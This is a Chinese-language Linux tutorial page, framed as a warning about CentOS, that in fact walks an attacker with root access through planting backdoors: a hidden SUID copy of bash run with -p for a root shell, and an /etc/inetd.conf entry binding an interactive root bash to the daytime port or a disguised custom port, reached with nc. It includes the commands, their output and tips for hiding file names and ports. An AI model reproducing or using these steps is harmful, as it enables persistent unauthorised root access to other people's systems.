歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux編程 >> SHELL編程

CentOS小心被suid shell與inetd後門利用的詳細講解

   CentOS小心被suid shell與inetd後門利用的詳細講解

          你現在已經是root用戶,想留一個後門。

CentOS小心被suid shell與inetd後門利用的詳細講解   三聯

  系統環境:

  dawg:~#uname-a

  Linuxdawg2.4.20-1-386#3SatMar2212:11:40EST2003i686GNU/Linux

  1.SUIDshell

  首先,先切換成為root用戶,並執行以下的命令:

  dawg:~#cp/bin/bash/.wootdawg:~#chmod4755/.wootdawg:~#ls-al/.woot-rwsr-xr-x1rootroot690668Jul2417:14/.woot

  當然,你也可以起其他更具備隱藏性的名字,我想猥瑣並機智的你,肯定能想出很多好的名字的。文件前面的那一點也不是必要的,只是為了隱藏文件(在文件名的最前面加上“.”,就可以在任意文件目錄下進行隱藏).

  現在,做為一個普通用戶,我們來啟用這個後門:

  fw@dawg:~$iduid=1000(fw)gid=1000(fw)groups=1000(fw)fw@dawg:~$/.woot.woot-2.05b$iduid=1000(fw)gid=1000(fw)groups=1000(fw).woot-2.05b$

  為什麼不行呢?

  因為bash2針對suid有一些護衛的措施.但這也不是不可破的:

  .woot-2.05b$/.woot-p

  .woot-2.05b#id

  uid=1000(fw)gid=1000(fw)euid=0(root)groups=1000(fw)

  使用-p參數來獲取一個rootshell.這個euid的意思是effectiveuserid(關於這些ID的知識,可以戳這裡)

  這裡要特別注意的是,作為一個普通用戶執行這個SUIDshell時,一定要使用全路徑。

  小知識:

  如何查找那些具有SUID的文件:

  dawg:~#find/-perm+4000-ls

  這時就會返回具有SUID位的文件啦。

  2.遠程後門:利用/etc/inetd.conf

  我們使用vi來修改/etc/inetd.conf文件

  原文件:

  #chargendgramudpwaitrootinternal

  #discardstreamtcpnowaitrootinternal

  #discarddgramudpwaitrootinternal

  #daytimestreamtcpnowaitrootinternal

  修改為:

  #discardstreamtcpnowaitrootinternal

  #discarddgramudpwaitrootinternal

  daytimestreamtcpnowaitroot/bin/bashbash-i

  開啟inetd:

  dawg:~#inetd

  如果要強制重啟inetd:

  dawg:~#ps-ef|grepinetdroot36210Jul22?00:00:00/usr/sbin/inetdroot1376913643017:51pts/100:00:00grepinetddawg:~#kill-HUP362

  現在我們就可以用nc來爆菊了:

  C:tools192.168.1.77:inversehostlookupfailed:h_errno11004:NO_DATA

  (UNKNOWN)[192.168.1.77]13(daytime)open

  bash:nojobcontrolinthisshell

  bash-2.05b#bash-2.05b#

  bash-2.05b#iduid=0(root)

  gid=0(root)groups=0(root)bash-2.05b#uname-a

  Linuxdawg2.4.20-1-386#3SatMar2212:11:40EST2003i686GNU/Linux

  小貼士:

  我們可以修改/etc/services文件,加入以下的東西:

  woot6666/tcp#evilbackdoorservice

  然後修改/etc/inetd.conf:

  wootstreamtcpnowaitroot/bin/bashbash-i

  我們可以修改成一些常見的端口,以實現隱藏。

Copyright © Linux教程網 All Rights Reserved